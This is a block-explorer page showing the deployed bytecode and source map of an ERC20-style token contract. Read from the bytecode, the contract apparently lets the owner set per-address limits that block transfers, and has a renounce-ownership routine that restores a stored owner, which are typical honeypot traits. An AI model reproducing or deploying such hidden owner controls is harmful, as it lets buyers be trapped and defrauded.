3ca565b6109fd565b6040516102fd91906112ce565b60405180910390f35b610320600480360381019061031b9190611373565b610a84565b60405161032d91906112ce565b60405180910390f35b60606005805461034590611439565b80601f016020809104026020016040519081016040528092919081815260200182805461037190611439565b80156103be5780601f10610393576101008083540402835291602001916103be565b820191906000526020600020905b8154815290600101906020018083116103a157829003601f168201915b5050505050905090565b60006103dc6103d5610acd565b8484610ad5565b6001905092915050565b6000600854905090565b60006103fd848484610c9e565b6104be84610409610acd565b6104b98560405180606001604052806021815260200161194660219139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff29092919063ffffffff16565b610ad5565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006105896104ed610acd565b8461058485600260006104fe610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105690919063ffffffff16565b610ad5565b6001905092915050565b61059b610acd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610621906114b6565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546106f490611439565b80601f016020809104026020016040519081016040528092919081815260200182805461072090611439565b801561076d5780601f106107425761010080835404028352916020019161076d565b820191906000526020600020905b81548152906001019060200180831161075057829003601f168201915b5050505050905090565b600061083a610784610acd565b846108358560405180606001604052806025815260200161196760259139600260006107ae610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff29092919063ffffffff16565b610ad5565b6001905092915050565b60008061084f610acd565b905061085c818585610c9e565b600191505092915050565b61086f610acd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f5906114b6565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3b90611548565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa906115da565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c9191906112ce565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d049061166c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d73906116fe565b60405180910390fd5b6000610d8784610a84565b90506000811115610dd557808211610dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcb90611790565b60405180910390fd5b5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5390611822565b60405180910390fd5b610eae83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105690919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f4383600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fe391906112ce565b60405180910390a35050505050565b600083831115829061103a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611031919061118e565b60405180910390fd5b50600083856110499190611871565b9050809150509392505050565b600080828461106591906118a5565b9050838110156110aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a190611925565b60405180910390fd5b8091505092915050565b60006110f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff2565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561113857808201518184015260208101905061111d565b60008484015250505050565b6000601f19601f8301169050919050565b6000611160826110fe565b61116a8185611109565b935061117a81856020860161111a565b61118381611144565b840191505092915050565b600060208201905081810360008301526111a88184611155565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006111e0826111b5565b9050919050565b6111f0816111d5565b81146111fb57600080fd5b50565b60008135905061120d816111e7565b92915050565b6000819050919050565b61122681611213565b811461123157600080fd5b50565b6000813590506112438161121d565b92915050565b600080604083850312156112605761125f6111b0565b5b600061126e858286016111fe565b925050602061127f85828601611234565b9150509250929050565b60008115159050919050565b61129e81611289565b82525050565b60006020820190506112b96000830184611295565b92915050565b6112c881611213565b82525050565b60006020820190506112e360008301846112bf565b92915050565b600080600060608486031215611302576113016111b0565b5b6000611310868287016111fe565b9350506020611321868287016111fe565b925050604061133286828701611234565b9150509250925092565b600060ff82169050919050565b6113528161133c565b82525050565b600060208201905061136d6000830184611349565b92915050565b600060208284031215611389576113886111b0565b5b6000611397848285016111fe565b91505092915050565b6113a9816111d5565b82525050565b60006020820190506113c460008301846113a0565b92915050565b600080604083850312156113e1576113e06111b0565b5b60006113ef858286016111fe565b9250506020611400858286016111fe565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061145157607f821691505b6020821081036114645761146361140a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114a0602083611109565b91506114ab8261146a565b602082019050919050565b600060208201905081810360008301526114cf81611493565b9050919050565b7f45524332303a20617070726f76652066726f6d207a65726f206164647265732060008201527f69732070726f686962697465642e000000000000000000000000000000000000602082015250565b6000611532602e83611109565b915061153d826114d6565b604082019050919050565b6000602082019050818103600083015261156181611525565b9050919050565b7f45524332303a20617070726f766520746f207a65726f2061646472657320697360008201527f2070726f686962697465642e0000000000000000000000000000000000000000602082015250565b60006115c4602c83611109565b91506115cf82611568565b604082019050919050565b600060208201905081810360008301526115f3816115b7565b9050919050565b7f45524332303a207472616e7366657220746f207a65723020616464726573206960008201527f732070726f686962697465642e00000000000000000000000000000000000000602082015250565b6000611656602d83611109565b9150611661826115fa565b604082019050919050565b6000602082019050818103600083015261168581611649565b9050919050565b7f45524332303a207472616e736665722066726f6d207a6572302061646472657360008201527f2069732070726f686962697465642e0000000000000000000000000000000000602082015250565b60006116e8602f83611109565b91506116f38261168c565b604082019050919050565b60006020820190508181036000830152611717816116db565b9050919050565b7f45524332303a207472616e73666572206578636565647320616c6c6f77616e6360008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b600061177a602283611109565b91506117858261171e565b604082019050919050565b600060208201905081810360008301526117a98161176d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656465642060008201527f62616c616e63652e000000000000000000000000000000000000000000000000602082015250565b600061180c602883611109565b9150611817826117b0565b604082019050919050565b6000602082019050818103600083015261183b816117ff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061187c82611213565b915061188783611213565b925082820390508181111561189f5761189e611842565b5b92915050565b60006118b082611213565b91506118bb83611213565b92508282019050808211156118d3576118d2611842565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061190f601b83611109565b915061191a826118d9565b602082019050919050565b6000602082019050818103600083015261193e81611902565b905091905056fe45524332303a207472616e73666572206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208b233ebe786b382e74766eaa6fcf03af72cb04b17815936a75a7a25c83b7b92864736f6c63430008120033

Deployed Bytecode Sourcemap

8978:4742:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9809:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12135:186;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10213:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11688:439;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9995:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10563:293;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10864:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10086:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6815:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9900;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11111:393;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10321:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7465:170;;;:::i;:::-;;11512:168;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10989:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9809:83;9846:13;9879:5;9872:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9809:83;:::o;12135:186::-;12235:4;12252:39;12261:12;:10;:12::i;:::-;12275:7;12284:6;12252:8;:39::i;:::-;12309:4;12302:11;;12135:186;;;;:::o;10213:100::-;10266:7;10293:12;;10286:19;;10213:100;:::o;11688:439::-;11820:4;11837:36;11847:6;11855:9;11866:6;11837:9;:36::i;:::-;11884:213;11907:6;11928:12;:10;:12::i;:::-;11955:131;12011:6;11955:131;;;;;;;;;;;;;;;;;:11;:19;11967:6;11955:19;;;;;;;;;;;;;;;:33;11975:12;:10;:12::i;:::-;11955:33;;;;;;;;;;;;;;;;:37;;:131;;;;;:::i;:::-;11884:8;:213::i;:::-;12115:4;12108:11;;11688:439;;;;;:::o;9995:83::-;10036:5;10061:9;;;;;;;;;;;10054:16;;9995:83;:::o;10563:293::-;10676:4;10693:133;10716:12;:10;:12::i;:::-;10743:7;10765:50;10804:10;10765:11;:25;10777:12;:10;:12::i;:::-;10765:25;;;;;;;;;;;;;;;:34;10791:7;10765:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;10693:8;:133::i;:::-;10844:4;10837:11;;10563:293;;;;:::o;10864:117::-;7045:12;:10;:12::i;:::-;7035:22;;:6;;;;;;;;;;;:22;;;7027:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10967:6:::1;10945:10;:19;10956:7;10945:19;;;;;;;;;;;;;;;:28;;;;10864:117:::0;;:::o;10086:119::-;10152:7;10179:9;:18;10189:7;10179:18;;;;;;;;;;;;;;;;10172:25;;10086:119;;;:::o;6815:87::-;6861:7;6888:6;;;;;;;;;;;6881:13;;6815:87;:::o;9900:::-;9939:13;9972:7;9965:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9900:87;:::o;11111:393::-;11229:4;11246:228;11269:12;:10;:12::i;:::-;11296:7;11318:145;11375:15;11318:145;;;;;;;;;;;;;;;;;:11;:25;11330:12;:10;:12::i;:::-;11318:25;;;;;;;;;;;;;;;:34;11344:7;11318:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;11246:8;:228::i;:::-;11492:4;11485:11;;11111:393;;;;:::o;10321:234::-;10432:4;10449:14;10466:12;:10;:12::i;:::-;10449:29;;10489:36;10499:6;10507:9;10518:6;10489:9;:36::i;:::-;10543:4;10536:11;;;10321:234;;;;:::o;7465:170::-;7045:12;:10;:12::i;:::-;7035:22;;:6;;;;;;;;;;;:22;;;7027:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7572:12:::1;::::0;::::1;;;;;;;;7535:51;;7556:6;;;;;;;;;;;7535:51;;;;;;;;;;;;7614:12;::::0;::::1;;;;;;;;7597:6;;:30;;;;;;;;;;;;;;;;;;7465:170::o:0;11512:168::-;11618:7;11645:11;:18;11657:5;11645:18;;;;;;;;;;;;;;;:27;11664:7;11645:27;;;;;;;;;;;;;;;;11638:34;;11512:168;;;;:::o;10989:114::-;11049:7;11076:10;:19;11087:7;11076:19;;;;;;;;;;;;;;;;11069:26;;10989:114;;;:::o;5973:115::-;6026:15;6069:10;6054:26;;5973:115;:::o;13243:474::-;13410:1;13393:19;;:5;:19;;;13371:115;;;;;;;;;;;;:::i;:::-;;;;;;;;;13538:1;13519:21;;:7;:21;;;13497:115;;;;;;;;;;;;:::i;:::-;;;;;;;;;13655:6;13625:11;:18;13637:5;13625:18;;;;;;;;;;;;;;;:27;13644:7;13625:27;;;;;;;;;;;;;;;:36;;;;13693:7;13677:32;;13686:5;13677:32;;;13702:6;13677:32;;;;;;:::i;:::-;;;;;;;;13243:474;;;:::o;12329:906::-;12504:1;12483:23;;:9;:23;;;12461:118;;;;;;;;;;;;:::i;:::-;;;;;;;;;12630:1;12612:20;;:6;:20;;;12590:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;12718:18;12739:20;12752:6;12739:12;:20::i;:::-;12718:41;;12787:1;12774:10;:14;12770:113;;;12822:10;12813:6;:19;12805:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;12770:113;12893:16;12912:9;:17;12922:6;12912:17;;;;;;;;;;;;;;;;12893:36;;12974:6;12962:8;:18;;12940:108;;;;;;;;;;;;:::i;:::-;;;;;;;;;13082:32;13107:6;13082:9;:20;13092:9;13082:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;13059:9;:20;13069:9;13059:20;;;;;;;;;;;;;;;:55;;;;13145:29;13167:6;13145:9;:17;13155:6;13145:17;;;;;;;;;;;;;;;;:21;;:29;;;;:::i;:::-;13125:9;:17;13135:6;13125:17;;;;;;;;;;;;;;;:49;;;;13209:9;13192:35;;13201:6;13192:35;;;13220:6;13192:35;;;;;;:::i;:::-;;;;;;;;12450:785;;12329:906;;;:::o;2122:224::-;2242:7;2275:1;2270;:6;;2278:12;2262:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2302:9;2318:1;2314;:5;;;;:::i;:::-;2302:17;;2337:1;2330:8;;;2122:224;;;;;:::o;1219:181::-;1277:7;1297:9;1313:1;1309;:5;;;;:::i;:::-;1297:17;;1338:1;1333;:6;;1325:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1391:1;1384:8;;;1219:181;;;;:::o;1683:136::-;1741:7;1768:43;1772:1;1775;1768:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1761:50;;1683:136;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:182::-;6672:34;6668:1;6660:6;6656:14;6649:58;6532:182;:::o;6720:366::-;6862:3;6883:67;6947:2;6942:3;6883:67;:::i;:::-;6876:74;;6959:93;7048:3;6959:93;:::i;:::-;7077:2;7072:3;7068:12;7061:19;;6720:366;;;:::o;7092:419::-;7258:4;7296:2;7285:9;7281:18;7273:26;;7345:9;7339:4;7335:20;7331:1;7320:9;7316:17;7309:47;7373:131;7499:4;7373:131;:::i;:::-;7365:139;;7092:419;;;:::o;7517:233::-;7657:34;7653:1;7645:6;7641:14;7634:58;7726:16;7721:2;7713:6;7709:15;7702:41;7517:233;:::o;7756:366::-;7898:3;7919:67;7983:2;7978:3;7919:67;:::i;:::-;7912:74;;7995:93;8084:3;7995:93;:::i;:::-;8113:2;8108:3;8104:12;8097:19;;7756:366;;;:::o;8128:419::-;8294:4;8332:2;8321:9;8317:18;8309:26;;8381:9;8375:4;8371:20;8367:1;8356:9;8352:17;8345:47;8409:131;8535:4;8409:131;:::i;:::-;8401:139;;8128:419;;;:::o;8553:231::-;8693:34;8689:1;8681:6;8677:14;8670:58;8762:14;8757:2;8749:6;8745:15;8738:39;8553:231;:::o;8790:366::-;8932:3;8953:67;9017:2;9012:3;8953:67;:::i;:::-;8946:74;;9029:93;9118:3;9029:93;:::i;:::-;9147:2;9142:3;9138:12;9131:19;;8790:366;;;:::o;9162:419::-;9328:4;9366:2;9355:9;9351:18;9343:26;;9415:9;9409:4;9405:20;9401:1;9390:9;9386:17;9379:47;9443:131;9569:4;9443:131;:::i;:::-;9435:139;;9162:419;;;:::o;9587:232::-;9727:34;9723:1;9715:6;9711:14;9704:58;9796:15;9791:2;9783:6;9779:15;9772:40;9587:232;:::o;9825:366::-;9967:3;9988:67;10052:2;10047:3;9988:67;:::i;:::-;9981:74;;10064:93;10153:3;10064:93;:::i;:::-;10182:2;10177:3;10173:12;10166:19;;9825:366;;;:::o;10197:419::-;10363:4;10401:2;10390:9;10386:18;10378:26;;10450:9;10444:4;10440:20;10436:1;10425:9;10421:17;10414:47;10478:131;10604:4;10478:131;:::i;:::-;10470:139;;10197:419;;;:::o;10622:234::-;10762:34;10758:1;10750:6;10746:14;10739:58;10831:17;10826:2;10818:6;10814:15;10807:42;10622:234;:::o;10862:366::-;11004:3;11025:67;11089:2;11084:3;11025:67;:::i;:::-;11018:74;;11101:93;11190:3;11101:93;:::i;:::-;11219:2;11214:3;11210:12;11203:19;;10862:366;;;:::o;11234:419::-;11400:4;11438:2;11427:9;11423:18;11415:26;;11487:9;11481:4;11477:20;11473:1;11462:9;11458:17;11451:47;11515:131;11641:4;11515:131;:::i;:::-;11507:139;;11234:419;;;:::o;11659:221::-;11799:34;11795:1;11787:6;11783:14;11776:58;11868:4;11863:2;11855:6;11851:15;11844:29;11659:221;:::o;11886:366::-;12028:3;12049:67;12113:2;12108:3;12049:67;:::i;:::-;12042:74;;12125:93;12214:3;12125:93;:::i;:::-;12243:2;12238:3;12234:12;12227:19;;11886:366;;;:::o;12258:419::-;12424:4;12462:2;12451:9;12447:18;12439:26;;12511:9;12505:4;12501:20;12497:1;12486:9;12482:17;12475:47;12539:131;12665:4;12539:131;:::i;:::-;12531:139;;12258:419;;;:::o;12683:227::-;12823:34;12819:1;12811:6;12807:14;12800:58;12892:10;12887:2;12879:6;12875:15;12868:35;12683:227;:::o;12916:366::-;13058:3;13079:67;13143:2;13138:3;13079:67;:::i;:::-;13072:74;;13155:93;13244:3;13155:93;:::i;:::-;13273:2;13268:3;13264:12;13257:19;;12916:366;;;:::o;13288:419::-;13454:4;13492:2;13481:9;13477:18;13469:26;;13541:9;13535:4;13531:20;13527:1;13516:9;13512:17;13505:47;13569:131;13695:4;13569:131;:::i;:::-;13561:139;;13288:419;;;:::o;13713:180::-;13761:77;13758:1;13751:88;13858:4;13855:1;13848:15;13882:4;13879:1;13872:15;13899:194;13939:4;13959:20;13977:1;13959:20;:::i;:::-;13954:25;;13993:20;14011:1;13993:20;:::i;:::-;13988:25;;14037:1;14034;14030:9;14022:17;;14061:1;14055:4;14052:11;14049:37;;;14066:18;;:::i;:::-;14049:37;13899:194;;;;:::o;14099:191::-;14139:3;14158:20;14176:1;14158:20;:::i;:::-;14153:25;;14192:20;14210:1;14192:20;:::i;:::-;14187:25;;14235:1;14232;14228:9;14221:16;;14256:3;14253:1;14250:10;14247:36;;;14263:18;;:::i;:::-;14247:36;14099:191;;;;:::o;14296:177::-;14436:29;14432:1;14424:6;14420:14;14413:53;14296:177;:::o;14479:366::-;14621:3;14642:67;14706:2;14701:3;14642:67;:::i;:::-;14635:74;;14718:93;14807:3;14718:93;:::i;:::-;14836:2;14831:3;14827:12;14820:19;;14479:366;;;:::o;14851:419::-;15017:4;15055:2;15044:9;15040:18;15032:26;;15104:9;15098:4;15094:20;15090:1;15079:9;15075:17;15068:47;15132:131;15258:4;15132:131;:::i;:::-;15124:139;;14851:419;;;:::o

Swarm Source

ipfs://8b233ebe786b382e74766eaa6fcf03af72cb04b17815936a75a7a25c83b7b928
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.